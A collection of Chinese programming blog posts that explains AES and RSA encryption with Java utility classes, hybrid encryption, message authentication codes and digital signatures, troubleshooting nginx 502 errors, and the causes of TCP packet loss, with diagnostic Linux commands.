return cipher.doFinal(plainBytes); } /** * 数据解密: 密文 -> 明文 */ public static byte[] decrypt(byte[] cipherBytes, byte[] key) throws Exception { // 生成密钥对象 SecretKey secKey = generateKey(key); // 获取 AES 密码器 Cipher cipher = Cipher.getInstance(ALGORITHM); // 初始化密码器(解密模型) cipher.init(Cipher.DECRYPT_MODE, secKey); // 解密数据, 返回明文 return cipher.doFinal(cipherBytes); } /** * byte数组转16进制 * * @param bytes byte数组 * @return 返回16进制字符串 */ public static String bytesToHex(byte[] bytes) { StringBuilder sb = new StringBuilder(); for (byte aByte : bytes) { String hex = Integer.toHexString(aByte & 0xFF); if (hex.length() < 2) { sb.append(0); } sb.append(hex); } return sb.toString(); } /** * 16进制转byte * @param inHex 16进制字符串 * @return byte */ public static byte hexToByte(String inHex) { return (byte) Integer.parseInt(inHex, 16); } /** * 16进制转byte数组 * @param inHex 16进制字符串 * @return byte数组 */ public static byte[] hexToByteArray(String inHex) { int hexlen = inHex.length(); byte[] result; if (hexlen % 2 == 1) { //奇数 hexlen++; result = new byte[(hexlen / 2)]; inHex = "0" + inHex; } else { //偶数 result = new byte[(hexlen / 2)]; } int j = 0; for (int i = 0; i < hexlen; i += 2) { result[j] = hexToByte(inHex.substring(i, i + 2)); j++; } return result; } /** * 加密文件: 明文输入 -> 密文输出 */ public static void encryptFile(File plainIn, File cipherOut, byte[] key) throws Exception { aesFile(plainIn, cipherOut, key, true); } /** * 解密文件: 密文输入 -> 明文输出 */ public static void decryptFile(File cipherIn, File plainOut, byte[] key) throws Exception { aesFile(plainOut, cipherIn, key, false); } /** * AES 加密/解密文件 */ private static void aesFile(File plainFile, File cipherFile, byte[] key, boolean isEncrypt) throws Exception { // 获取 AES 密码器 Cipher cipher = Cipher.getInstance(ALGORITHM); // 生成密钥对象 SecretKey secKey = generateKey(key); // 初始化密码器 cipher.init(isEncrypt ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, secKey); // 加密/解密数据 InputStream in = null; OutputStream out = null; try { if (isEncrypt) { // 加密: 明文文件为输入, 密文文件为输出 in = new FileInputStream(plainFile); out = new FileOutputStream(cipherFile); } else { // 解密: 密文文件为输入, 明文文件为输出 in = new FileInputStream(cipherFile); out = new FileOutputStream(plainFile); } byte[] buf = new byte[1024]; int len = -1; // 循环读取数据 加密/解密 while ((len = in.read(buf)) != -1) { out.write(cipher.update(buf, 0, len)); } out.write(cipher.doFinal()); // 最后需要收尾 out.flush(); } finally { close(in); close(out); } } private static void close(Closeable c) { if (c != null) { try { c.close(); } catch (IOException e) { // nothing } } } } 在main函数中测试工具类 public static void main(String[] args) throws Exception { // 原文内容 String content = "你好,我是要发送的数据"; // AES加密/解密用的原始密码 String key = "MagicalProgrammer"; // 加密数据, 返回密文 byte[] cipherBytes = AESUtils.encrypt(content.getBytes(), key.getBytes()); // byte[]转16进制 String cipherString = AESUtils.bytesToHex(cipherBytes); // 输出加密后的16进制密文 System.out.println("加密后的密文为: "); System.out.println(cipherString); // 解密数据, 返回明文 byte[] plainBytes = AESUtils.decrypt(AESUtils.hexToByteArray(cipherString), key.getBytes()); // 输出解密后的明文 System.out.println("解密后结果为: "); System.out.println(new String(plainBytes)); } 公开密钥加密概念公开密钥加密是加密和解密使用不同密钥的一种加密方法。由于使用的密钥不同,所以这种算法也被称为“非对称加密”。加密用的密钥叫做“公开密钥”,解密用的叫做“私有密钥”。处理流程图解如图所示,A通过互联网向B发送数据。 首先,由接收方B来生成公开密钥和私有密钥。 然后,将公开密钥发送给B。 A使用B发来的公开密钥加密数据 A将密文发送给B,B再使用私有密钥对密文进行解密。这样,B就得到了原本的数据。 公开密钥和密文都是通过互联网传输的,因此可能被X窃听。但是,使用公开密钥无法解密密文,因此X也无法得到原本的数据。❝实现公开密钥加密的算法有「RSA算法」、「椭圆曲线加密算法」等,其中使用最为广泛的是RSA算法。❞方便多人传输数据在和多人传输数据时,使用公开密钥加密十分方便。例如,B预先准备好了公开密钥和私有密钥, 公开密钥是不怕被人知道的,所以B可以把公开密钥发布在网上。 此时,有许多人都想向B发送数据。 首先,想发送数据的人需要从王山取得B发布的公开密钥。 然后,用获取到的公开密钥加密要发送的数据。 最后,把密文发送给B B用私有密钥对收到的密文进行解密,取得原本的数据。这种情况就不需要为每个发送对象都准备对应的密钥了。需要保密的私有密钥由接收方保管,所以安全性也更高。❝如果使用共享密钥加密,密钥的需求数量会随着发送人数的增多而急剧增多。例如,有2个人相互发送数据,需要2个密钥,但是5个人相互发送数据就需要10个密钥,100人就需要4950个。假设有n个人需要相互发送数据,那么需要的密钥数量就为「n(n-1)/2」。❞中间人攻击公开密钥加密存在公开密钥可靠性的问题,B在给A发送公开密钥时,可能会被第三者拦截到这个公开密钥,第三者拿到公开密钥后,保存到本地,自己重新生成一个新的公开密钥发送给A,A使用第三者的公开密钥加密数据后,将数据发送给A时,第三者劫持A发送的数据,用自己的私有密钥解密数据,此时第三者就拿到了B要发送的数据,然后第三者用B的公开密钥再次对解密的数据进行加密,然后发送给B,B用自己的私有密钥正常解开了B发送的数据,整个发送与接收的过程中,没有发生任何问题,因此A也察觉不到数据已经泄漏,这种通过中途替换公开密钥来窃听数据的攻击方法就叫做「中间人攻击」。我们回到B生成公开密钥和私有密钥的时候,我们用PB表示公开密钥,SB表示私有密钥。 X想要窃听A发送给B的数据,于是他准备了公开密钥PX和私有密钥SX。 在B把公开密钥PB发送给A的时候 X把公开密钥PB替换成自己的PX 于是公开密钥Px传到了A那里,由于公开密钥无法显示自己是由谁生成的,所以A不会发现自己收到的公开密钥已经被人替换。 A使用公开密钥PX对数据加密 当A把想要给B的密文发送出去后,X接收了这个密文。 这个密文由X生成的公开密钥PX加密而成,所以X可以用自己的私有密钥SX对密文进行解密。 X用B生成的公开密钥PB加密数据 X把密文发送给B,这个密文由B发出的公开密钥PB加密而成,所以B可以用自己的私有密钥SB来解密,从收到密文到解密密文都没发生任何问题,因此B也不可能意识到自己已经被窃听。 解决方案公开密钥的可靠性会出现问题,因此A无法判断收到的公开密钥是否来自B,要想解决这一问题,就要用到“数字证书。公开密钥加密还有一个问题,加密和解密都比较耗时。所以这种方式不适用于持续发送零碎数据的情况,要想解决这一问题,就要用到“混合加密”。实现难点要想找到实现公开密钥加密的算法并不容易。考虑到加密所需的计算流程,算法必 须满足如下条件。可以使用某个数值对数据进行加密使用另一个数值对加密数据进行计算就可以让数据恢复原样。无法从一种密钥推算出另一种密钥。稍微思考一下便知道,想要找到满足以上条件的算法难度有多大。所以,RSA 等可 以实现公开密钥加密的算法的提出,对当今互联网社会的安全有着重要的意义。JAVA实现RSA加密我们用Java实现下RSA加密创建RSAUtils文件,编写RSA加密工具类package com.lk.util; import java.util.Base64; import javax.crypto.Cipher; import java.security.KeyFactory; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import java.security.interfaces.RSAPrivateKey; import java.security.interfaces.RSAPublicKey; import java.security.spec.PKCS8EncodedKeySpec; import java.security.spec.X509EncodedKeySpec; import java.util.HashMap; import java.util.Map; /** * RSA加密工具类 */ public class RSAUtils { /** * 密钥长度 于原文长度对应 以及越长速度越慢 */ private final static int KEY_SIZE = 1024; /** * 用于封装随机产生的公钥与私钥 */ private static Map<Integer, String> keyMap = new HashMap<Integer, String>(); /** * 随机生成密钥对 */ public static Map genKeyPair() throws NoSuchAlgorithmException { // KeyPairGenerator类用于生成公钥和私钥对,基于RSA算法生成对象 KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA"); // 初始化密钥对生成器 keyPairGen.initialize(KEY_SIZE, new SecureRandom()); // 生成一个密钥对,保存在keyPair中 KeyPair keyPair = keyPairGen.generateKeyPair(); // 得到私钥 RSAPrivateKey privateKey = (RSAPrivateKey) keyPair.getPrivate(); // 得到公钥 RSAPublicKey publicKey = (RSAPublicKey) keyPair.getPublic(); String publicKeyString = Base64.getEncoder().encodeToString(publicKey.getEncoded()); // 得到私钥字符串 String privateKeyString = Base64.getEncoder().encodeToString(privateKey.getEncoded()); // 将公钥和私钥保存到Map //0表示公钥 keyMap.put(0, publicKeyString); //1表示私钥 keyMap.put(1, privateKeyString); return keyMap; } /** * RSA公钥加密 * * @param str 加密字符串 * @param publicKey 公钥 * @return 密文 * @throws Exception 加密过程中的异常信息 */ public static String encrypt(String str, String publicKey) throws Exception { //base64编码的公钥 byte[] decoded = Base64.getDecoder().decode(publicKey); RSAPublicKey pubKey = (RSAPublicKey) KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(decoded)); //RSA加密 Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.ENCRYPT_MODE, pubKey); String outStr = Base64.getEncoder().encodeToString(cipher.doFinal(str.getBytes("UTF-8"))); return outStr; } /** * RSA私钥解密 * * @param str 加密字符串 * @param privateKey 私钥 * @return 明文 * @throws Exception 解密过程中的异常信息 */ public static String decrypt(String str, String privateKey) throws Exception { //64位解码加密后的字符串 byte[] inputByte = Base64.getDecoder().decode(str); //base64编码的私钥 byte[] decoded = Base64.getDecoder().decode(privateKey); RSAPrivateKey priKey = (RSAPrivateKey) KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(decoded)); //RSA解密 Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.DECRYPT_MODE, priKey); String outStr = new String(cipher.doFinal(inputByte)); return outStr; } } 在main函数中测试工具类public static void main(String[] args) throws Exception { // 随机生成的密钥和公钥 Map<Integer, String> keyMap = new HashMap<Integer, String>(); //生成公钥和私钥 keyMap = RSAUtils.genKeyPair(); System.out.println("公钥:" + keyMap.get(0)); System.out.println("私钥:" + keyMap.get(1)); // 要加密的数据 String message = "你好,我是通过RSA加密的数据"; // 使用公钥加密 String messageEn = RSAUtils.encrypt(message, keyMap.get(0)); System.out.println("密文:" + messageEn); // 使用私钥解密 String messageDe = RSAUtils.decrypt(messageEn, keyMap.get(1)); System.out.println("解密:" + messageDe); }
0
0
0
浏览量655
超超

502问题怎么排查?

刚工作那会,有一次,上游调用我服务的老哥说,你的服务报"502错误了,快去看看是为什么吧"。当时那个服务里正好有个调用日志,平时会记录各种200,4xx状态码的信息。于是我跑到服务日志里去搜索了一下502这个数字,毫无发现。于是跟老哥说,"服务日志里并没有502的记录,你是不是搞错啦?"现在想来,多少有些不好意思。不知道有多少老哥是跟当时的我是一样的,这篇文章,就来聊聊502错误是什么?我们从状态码是什么开始聊起。HTTP状态码我们平时在浏览器里逛的某宝和某度,其实都是一个个前端网页。一般来说,前端并不存储太多数据,大部分时候都需要从后端服务器那获取数据。于是前后端之间需要通过TCP协议去建立连接,然后在TCP的基础上传输数据。而TCP是基于数据流的协议,传输数据时,并不会为每个消息加入数据边界,直接使用裸的TCP进行数据传输会有"粘包"问题。因此需要用特地的协议格式去对数据进行解析。于是在此基础上设计了HTTP协议。详细的内容可以看我之前写的《既然有HTTP协议,为什么还要有RPC》。比如,我想要看某个商品的具体信息,其实就是前端发的HTTP请求中传入商品的id,后端返回的HTTP响应中返回商品的价格,商店名,发货地址的信息等。这样,表面上,我们是在刷着各种网页,实际上背后正有多次HTTP消息在不断进行收发。但问题就来了,上面提到的都是正常情况,如果有异常情况呢,比如前端发的数据,根本就不是个商品id,而是一张图片,这对于后端服务端来说是不可能给出正常响应的,于是就需要设计一套HTTP状态码,用来标识这次HTTP请求响应流程是否正常。通过这个可以影响浏览器的行为。比方说一切正常,那服务端返回个200状态码,前端收到后,可以放心使用响应的数据。但如果服务端发现客户端发的东西异常,就响应个4xx状态码,意思是这是个客户端的错误,4xx里头的xx可以根据错误的类型,再细分成各种码,比如401是客户端没权限,404是客户端请求了一个根本不存在的网页。反过来,如果是服务器有问题,就返回5xx状态码。但问题就来了。服务端都有问题了,搞严重点,服务器可能直接就崩溃了,那它还怎么给你返回状态码?是的,这种情况,服务端是不可能给客户端返回状态码的。所以说,一般情况下5xx的状态码其实并不是服务器返回给客户端的。它们是由网关返回的,常见的网关,比如nginx。nginx的作用回到前后端交互数据的话题上,如果前端用户少,那后端处理起请求来,游刃有余。但随着用户越来越多,后端服务器受资源限制,cpu或者内存都可能会严重不足,这时候解决方案也很简单,多搞几台一样的服务器,这样就能将这些前端请求均摊给几个服务器,从而提升处理能力。但要实现这样的效果,前端就得知道后端具体有哪些个服务器,并一一跟他们建立TCP连接。也不是不行,但就是麻烦。但这时候如果能有个中间层挡在它们中间就好了,这样客户端只需要跟中间层连接,中间层再和服务器建立连接。于是,这个中间层就成了这帮服务器的一个代理人一样,客户端有啥事都找代理人,只管发出自己的请求,再由代理人去找某个服务器去完成响应。整个过程下来,客户端只知道自己的请求被代理人帮忙搞定了,但代理人具体找了那个服务器去完成,客户端并不知道,也不需要知道。像这种,屏蔽掉具体有哪些服务器的代理方式就是所谓的反向代理。反过来,屏蔽掉具体有哪些客户端的代理方式,就是所谓的正向代理。而这个中间层的角色,一般由nginx这类网关来充当。另外,由于背后的服务器可能性能配置各不相同,有些4核8G,有些2核4G,nginx能为它们加上不同的访问权重,权重高的多转发点请求,通过这个方式实现不同的负载均衡策略。nginx返回5xx状态码有了nginx这一中间层后,客户端从直连服务端,变成客户端直连nginx,再由nginx直连服务端。从一个TCP连接变成两个TCP连接。于是,当服务器发生异常时,nginx发送给服务器的那条TCP连接就不能正常响应,nginx在得到这一信息后,就会返回5xx错误码给客户端,也就是说5xx的报错,其实是由nginx识别出来,并返回给客户端的,服务端本身,并不会有5xx的日志信息。所以才会出现文章开头的一幕,上游收到了我服务的502报错,但我在自己的服务日志里却搜索不到这一信息。产生502的常见原因在rfc7231中有关于502错误码的官方解释是502 Bad Gateway The 502 (Bad Gateway) status code indicates that the server, while acting as a gateway or proxy, received an invalid response from an inbound server it accessed while attempting to fulfill the request.翻译一下就是,502 (Bad Gateway) 状态代码表示服务器在充当网关或代理时,在尝试满足请求时从它访问的入站服务器接收到无效响应。汝听,人言否?这对于大部分编程小白来说,不仅没解释到问题,反而只会冒出更多的问号。比如,这上面提到的无效响应到底指的是什么?我来解释下,它其实是说,502其实是由网关代理(nginx)发出的,是因为网关代理把客户端的请求转发给了服务端,但服务端却发出了无效响应,而这里的无效响应,一般是指TCP的RST报文或四次挥手的FIN报文。四次挥手估计大家背的很熟了,所以略过,我们来重点说下RST报文是什么。RST是什么?我们都知道TCP正常情况下断开连接是用四次挥手,那是正常时候的优雅做法。但异常情况下,收发双方都不一定正常,连挥手这件事本身都可能做不到,所以就需要一个机制去强行关闭连接。RST 就是用于这种情况,一般用来异常地关闭一个连接。它是TCP包头中的一个标志位,在收到置这个标志位的数据包后,连接就会被关闭,此时接收到 RST的一方,在应用层会看到一个 connection reset 或 connection refused 的报错。而之所以发出RST报文,一般有两个常见原因。服务端过早断开连接nginx与服务端之间有一条TCP连接,在nginx将客户端请求转发给服务端时,他两之间按道理会一直保持这条连接,直到服务端将结果正常返回后,再断开连接。但如果服务端过早断开连接,而nginx却还继续发消息过去,nginx就会收到服务端内核返回的RST报文或四次挥手的FIN报文,迫使nginx那边的连接结束。过早断开连接的原因常见的有两个。第一个是,服务端设置的超时时间过短。不管是用的哪种编程语言,一般都有现成的HTTP库,服务端一般都会有几个timeout参数,比如golang的HTTP服务框架里有个写超时(WriteTimeout),假设设置了2s,那它的含义就是,服务端在收到请求后需要在2s内处理完并将结果写到响应中,如果等不到,就会将连接给断掉。比如你的接口处理时间是5s,而你的WriteTimeout却只有2s,在没等到响应写完之前,HTTP框架就会主动将连接给断开。nginx此时就有可能收到四次挥手的FIN报文(有些框架也可能发RST报文),然后断开连接,于是客户端就会收到一个502报错。遇到这种问题,将WriteTimeout的时间调大一些就好了。第二个原因,也是造成502状态码最常见的原因,就是服务端应用进程崩了(crash)。服务端崩了,也就是当前没有一个进程在监听服务器端口,而此时你却尝试向一个不存在的端口发数据,服务器的linux内核协议栈就会响应一个RST数据包。同样,这时候nginx也会给客户端一个502。在开发过程中,这种情况是最常见的。现在我们大部分的服务器都会将挂掉的服务重启,因此我们需要判断下服务是否曾经崩溃过。如果你有对服务端的cpu或者内存做过监控,可以看下CPU或内存的监控图是否出现过断崖式的突然下跌。如果有,十有八九百,就是你的服务端应用程序曾经崩溃过。除此之外你还通过下面的命令,看下进程上次的启动时间是什么时候。ps -o lstart {pid}比如我要看的进程id是13515,命令就需要像下面这样。# ps -o lstart 13515 STARTED Wed Aug 31 14:28:53 2022可以看到它上次的启动时间是8月31日,这个时间如果跟你印象中的操作时间有差距,那说明进程可能是崩了之后被重新拉起了。遇到这种问题,最重要的是找出崩溃的原因,崩溃的原因就多种多样了,比如,对未初始化的内存地址进行写操作,或者内存访问越界(数组arr长度明明只有2,代码却读arr[3])。这种情况几乎都是程序有代码逻辑问题,崩溃一般也会留下代码堆栈,可以根据堆栈报错去排查问题,修复之后就好了。比如下面这张图是golang的报错堆栈信息,其他语言的也类似。不打印堆栈的情况但有一些情况,有时候根本不留下堆栈。比如内存泄露导致进程占用内存越来越多,最后导致超过服务器的最大内存限制,触发OOM(out of memory), 进程直接就被操作系统kill掉。还有更隐蔽的,代码逻辑里隐藏了主动退出进程的操作。比如golang的日志打印里有个方法叫log.Fatalln(),打印完日志还会顺便执行os.Exit()直接退出进程,对源码不了解的新手很容易犯这个错。如果你很明确,你的服务没有崩过。那继续往下看。网关将请求打到了一个不存在的IP上nginx是通过配置的形式来代理多个服务器。这个配置一般是放在 /etc/nginx/nginx.conf 中。打开它,你可能会看到类似下面这样的信息。upstream xiaobaidebug.top { server 10.14.12.19:9235 weight=2; server 10.14.16.13:8145 weight=5; server 10.14.12.133:9702 weight=8; server 10.14.11.15:7035 weight=10; }上面配置的含义是,如果客户端访问xiaobaidebug.top域名,nginx就会将客户端的请求转发到下面的4个服务器ip上,ip边上还有个weight权重,权重越高,被转发到的次数就越多。可以看出,nginx具有相当丰富的配置能力。但要注意的是,这些个文件是需要自己手动配置的。对于服务器少,且不怎么变化的情况,这当然没问题。但现在已经是云原生时代了,很多公司内部都有自己的云产品,服务自然也会上云。一般来说每次更新服务,都可能会将服务部署到一台新的机器上。而这个ip也会随着改变,难道每发布一次服务,都需要手动去nginx上改配置吗?这显然不现实。如果能在服务启动时,让服务主动将自己的ip告诉nginx,然后nginx自己生成这样的一个配置并重新加载,那事情就简单多了。为了实现这样一个服务注册的功能,不少公司都会基于nginx进行二次开发。但如果这个服务注册功能有问题,比方说服务启动后,新服务没注册上,但老服务已经被销毁了。这时候nginx还将请求打到老服务的IP上,由于老服务所在的机器已经没有这个服务了,所以服务器内核就会响应RST,nginx收到RST后回复502给客户端。要排查这种问题也不难。这个时候,你可以看下nginx侧是否有打印相关的日志,看下转发的IP端口是否符合预期。如果不符合预期,可以去找找做这个基础组件的同事,进行一波友好的交流。总结HTTP状态码用来表示响应结果的状态,其中200是正常响应,4xx是客户端错误,5xx是服务端错误。客户端和服务端之间加入nginx,可以起到反向代理和负载均衡的作用,客户端只管向nginx请求数据,并不关心这个请求具体由哪个服务器来处理。后端服务端应用如果发生崩溃,nginx在访问服务端时会收到服务端返回的RST报文,然后给客户端返回502报错。502并不是服务端应用发出的,而是nginx发出的。因此发生502时,后端服务端很可能没有没有相关的502日志,需要在nginx侧才能看到这条502日志。如果发现502,优先通过监控排查服务端应用是否发生过崩溃重启,如果是的话,再看下是否留下过崩溃堆栈日志,如果没有日志,看下是否可能是oom或者是其他原因导致进程主动退出。如果进程也没崩溃过,去排查下nginx的日志,看下是否将请求打到了某个不知名IP端口上。
0
0
0
浏览量199
超超

混合加密的理解

前言共享密钥加密存在无法传输安全密钥的密钥分配问题,公开密钥加密又存在加密解密速度比较慢的问题。结合这两种方法可以实现互补的一种方法「混合加密」,本文将以图文的形式讲解混合加密的处理流程,欢迎各位感兴趣的开发者阅读本文。概念传输密钥时使用公开密钥加密,传输数据时使用共享密钥加密,这种方式就叫做「混合加密」。 处理流程图解假设A准备通过互联网向B发送数据,使用处理速度比较快的共享密钥加密对数据进行加密。加密时所用的密钥在解密时也要用到,因此A需要把密钥发送给B。 将密钥通过公开密钥进行加密后,A就可以将其安全地发送给B了。因此,作为接收方,B需要事先生成公开密钥P和私有密钥S。 B将公开密钥发送给A A使用收到的公开密钥,对共享密钥加密中需要使用的密钥进行加密。 A将加密后的密钥发送给B。 B使用私有密钥对密钥进行解密这样,A就把共享密钥加密中使用的密钥安全地发送给了B。 接下来,A只要将使用这个密钥加密好的数据发送给B即可。加密数据时使用的是处理速度较快的共享密钥加密。
0
0
0
浏览量587
超超

消息认证码与数字签名的理解

消息认证码消息认证码可以实现”认证“和”检测篡改“这两个功能。秘文的内容在传输过程中可能会被篡改,这会导致解密后的内容发生变化,从而产生误会。消息认证码就是可以预防这种情况发生的机制。消息篡改图解正常情况假设,A在B处购买商品,需要将商品编号abc告诉B。 此处A使用共享密钥加密对消息进行加密。A通过安全的方法将密钥发送给了B。 A使用双方共有的密钥对消息进行加密。 A把密文发送给B,B收到后对密文进行解密,最终得到了原本的商品编号abc。 消息被监听以上是没有出现问题时的流程,然后在这个过程中可能会发生下面的情况。 假设A发送给B的密文在通信过程中被X恶意篡改了,而B收到密文后没意识到这个问题。 B对被篡改的密文进行解密,得到消息xyz。 B以为A订购的是标号为xyz的商品,于是将错误的商品发送给了A。 解决监听问题如果使用消息认证码,就能检测出消息已经被篡改。接下来我们回到A正要向B发送密文的时候。 A生成了一个用于制作消息认证码的密钥,然后使用安全的方法将密钥发送给了B。 接下来A使用密文和密钥生成一个值,此处生成的是7f05。这个由「密钥和密文生成的值就是消息认证码」,以下简称MAC。 A将MAC(7f05)和密文发送给B。 和A一样,B也需要使用密文和密钥来生成MAC。经过对比,B可以确认自己计算出来的7f05和A发来的7f05一致。 接下来,B只需使用密钥对密文进行解密即可,最终B成功取得了A发送过来的商品编号abc。 验证消息认证码接下来,我们验证下使用消息消息认证码之后,X监听数据的情况,此时我们回到A正要向B发送密文的时候。 假设A向B发送密文和MAC时,X对密文进行了篡改。 B使用该密文计算MAC,得到的值时b85c,发现和收到的MAC不一致。 由此,B意识到密文或者MAC,甚至两者都可能遭到了篡改。于是B废弃了收到的密文和MAC,由A提出再次发送的请求。❝加密仅仅是一个数值计算和处理的过程,所以即使密文被篡改了,也能够进行解密相关的计算。❞使用场景如果原本消息是很长的句子,那么它被篡改后意思会变得很奇怪,所以接收者有可能会发现它是被篡改过的。但是,如果原本的消息就是商品编号等无法被人们直接理解的内容,那么解密后接收者便很难判断它是否被篡改。由于密码本身无法告诉人们消息是否被篡改,所以就需要使用消息认证码来检测。缺陷在使用消息认证码的过程中,AB双方都可以对消息进行加密并且算出MAC。也就是说,我们无法证明原本的消息是A生成的还是B生成的。因此,加入A是坏人,他就可以在自己发出消息后声称”这条消息是B捏造的“,而否认自己的行为。如果B是坏人,他也可以自己准备一条消息,然后声称”这是A发给我的消息“。使用MAC时,生成的一方和检测的一方持有同样的密钥,所以不能确定MAC由哪方生成,这个问题可以由下方的”数字签名“来解决。数字签名数字签名不仅可以实现消息认证码的认证和检测篡改功能,还可以预防是否否认问题的发生。由于在消息认证码中使用的是共享密钥加密,所以持有密钥的收信人也有可能是消息的发送者,这样是无法预防事后否认行为的。而数字签名只有发信人才能生成的,因此使用它就可以确定谁是消息的发送者了。特征图解假设A要向B发送消息 在发送前A给消息加上数字签名。数字签名只能由A生成。 只要发送的消息上有A的数字签名,就能确定消息的发送者就是A。 B可以验证数字签名的正确性,但无法生成数字签名。 数字签名生成图解数字签名的生成使用的是「公开密钥加密」。 首先,A准备好需要发送的信息、私有密钥和公开密钥。由消息的发送着来准备这两个密钥,这一点与公开密钥加密有所不同。 A将公开密钥发送给B A使用私有密钥加密消息,加密后的消息就是数字签名。 A将消息和签名都发送给了B B使用公开密钥对密文(签名)进行解密。 B对解密后的消息进行确认,看他是否和收到的消息一致。流程到此结束。 缺陷公开密钥加密的加密和解密都比较耗时,为了节约运算时间,实际上不会对消息直接进行加密,而是求得消息的哈希值,再对哈希值进行加密,然后将其作为签名来使用。 使用数字签名后B会相信消息的发送者就是A,但实际上也有可能是X冒充了A。其根本原因在于使用公开密钥加密无法确定公开密钥的制作者是谁,收到的公开密钥上也没有任何制作者的信息。因此,公开密钥有可能是由某个冒充A的人生成的。解决方案数字证书可以解决这一问题,数字证书的文章将在后面发出,欢迎各位感兴趣的开发者持续关注。写在最后
0
0
0
浏览量557
超超

用了TCP协议,就一定不会丢包吗?

表面上我是个技术博主。但没想到今天成了个情感博主。我是没想到有一天,我会通过技术知识,来挽救粉丝即将破碎的感情。掏心窝子的说。这件事情多少是沾点功德无量了。事情是这样的。最近就有个读者加了我的绿皮聊天软件,女生,头像挺好看的,就在我以为她要我拉她进群发成人专升本广告的时候。画风突然不对劲。她说她男朋友也是个程序员,异地恋,也关注了我,天天研究什么TCP,UDP网络。一研究就是一晚上,一晚上都不回她消息的那种。话里有话,懂。不出意外的出了意外,她发出了灵魂拷问"你们程序员真的有那么忙吗?忙到连消息都不知道回。"没想到上来就是一记直拳。但是,这一拳,我接住了。我很想告诉她"分了吧,下一题"。但我不能。因为这样我就伤害了我的读者兄弟。沉默了一下。单核cpu都快转冒烟了,才颤颤巍巍在九宫格键盘上发出消息。再回慢一点,我就感觉,我要对不起我这全日制本科学历了。"其实,他已经回了你消息了,但你知道吗?网络是会丢包的。""我来帮他解释下,这个话题就要从数据包的发送流程聊起"数据包的发送流程首先,我们两个手机的绿皮聊天软件客户端,要通信,中间会通过它们家服务器。大概长这样。但为了简化模型,我们把中间的服务器给省略掉,假设这是个端到端的通信。且为了保证消息的可靠性,我们盲猜它们之间用的是TCP协议进行通信。为了发送数据包,两端首先会通过三次握手,建立TCP连接。一个数据包,从聊天框里发出,消息会从聊天软件所在的用户空间拷贝到内核空间的发送缓冲区(send buffer) ,数据包就这样顺着传输层、网络层,进入到数据链路层,在这里数据包会经过流控(qdisc),再通过RingBuffer发到物理层的网卡。数据就这样顺着网卡发到了纷繁复杂的网络世界里。这里头数据会经过n多个路由器和交换机之间的跳转,最后到达目的机器的网卡处。此时目的机器的网卡会通知DMA将数据包信息放到RingBuffer中,再触发一个硬中断给CPU,CPU触发软中断让ksoftirqd去RingBuffer收包,于是一个数据包就这样顺着物理层,数据链路层,网络层,传输层,最后从内核空间拷贝到用户空间里的聊天软件里。画了那么大一张图,只水了200字做解释,我多少是有些心痛的。到这里,抛开一些细节,大家大概知道了一个数据包从发送到接收的宏观过程。可以看到,这上面全是密密麻麻的名词。整条链路下来,有不少地方可能会发生丢包。但为了不让大家保持蹲姿太久影响身体健康,我这边只重点讲下几个常见容易发生丢包的场景。建立连接时丢包TCP协议会通过三次握手建立连接。大概长下面这样。在服务端,第一次握手之后,会先建立个半连接,然后再发出第二次握手。这时候需要有个地方可以暂存这些半连接。这个地方就叫半连接队列。如果之后第三次握手来了,半连接就会升级为全连接,然后暂存到另外一个叫全连接队列的地方,坐等程序执行accept()方法将其取走使用。是队列就有长度,有长度就有可能会满,如果它们满了,那新来的包就会被丢弃。可以通过下面的方式查看是否存在这种丢包行为。# 全连接队列溢出次数 # netstat -s | grep overflowed    4343 times the listen queue of a socket overflowed     # 半连接队列溢出次数 # netstat -s | grep -i "SYNs to LISTEN sockets dropped"    109 times the listen queue of a socket overflowed 从现象来看就是连接建立失败。这个话题在之前写的《没有accept,能建立TCP连接吗?》有更详细的聊过,感兴趣的可以回去看下。流量控制丢包应用层能发网络数据包的软件有那么多,如果所有数据不加控制一股脑冲入到网卡,网卡会吃不消,那怎么办?让数据按一定的规则排个队依次处理,也就是所谓的qdisc(Queueing Disciplines,排队规则),这也是我们常说的流量控制机制。排队,得先有个队列,而队列有个长度。我们可以通过下面的ifconfig命令查看到,里面涉及到的txqueuelen后面的数字1000,其实就是流控队列的长度。当发送数据过快,流控队列长度txqueuelen又不够大时,就容易出现丢包现象。可以通过下面的ifconfig命令,查看TX下的dropped字段,当它大于0时,则有可能是发生了流控丢包。# ifconfig eth0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500       inet 172.21.66.69 netmask 255.255.240.0 broadcast 172.21.79.255       inet6 fe80::216:3eff:fe25:269f prefixlen 64 scopeid 0x20<link>       ether 00:16:3e:25:26:9f txqueuelen 1000 (Ethernet)       RX packets 6962682 bytes 1119047079 (1.0 GiB)       RX errors 0 dropped 0 overruns 0 frame 0       TX packets 9688919 bytes 2072511384 (1.9 GiB)       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0当遇到这种情况时,我们可以尝试修改下流控队列的长度。比如像下面这样将eth0网卡的流控队列长度从1000提升为1500.# ifconfig eth0 txqueuelen 1500网卡丢包网卡和它的驱动导致丢包的场景也比较常见,原因很多,比如网线质量差,接触不良。除此之外,我们来聊几个常见的场景。RingBuffer过小导致丢包上面提到,在接收数据时,会将数据暂存到RingBuffer接收缓冲区中,然后等着内核触发软中断慢慢收走。如果这个缓冲区过小,而这时候发送的数据又过快,就有可能发生溢出,此时也会产生丢包。我们可以通过下面的命令去查看是否发生过这样的事情。# ifconfig eth0: RX errors 0 dropped 0 overruns 0 frame 0查看上面的overruns指标,它记录了由于RingBuffer长度不足导致的溢出次数。当然,用ethtool命令也能查看。# ethtool -S eth0|grep rx_queue_0_drops但这里需要注意的是,因为一个网卡里是可以有多个RingBuffer的,所以上面的rx_queue_0_drops里的0代表的是第0个RingBuffer的丢包数,对于多队列的网卡,这个0还可以改成其他数字。但我的家庭条件不允许我看其他队列的丢包数,所以上面的命令对我来说是够用了。。。当发现有这类型丢包的时候,可以通过下面的命令查看当前网卡的配置。#ethtool -g eth0 Ring parameters for eth0: Pre-set maximums: RX: 4096 RX Mini: 0 RX Jumbo: 0 TX: 4096 Current hardware settings: RX: 1024 RX Mini: 0 RX Jumbo: 0 TX: 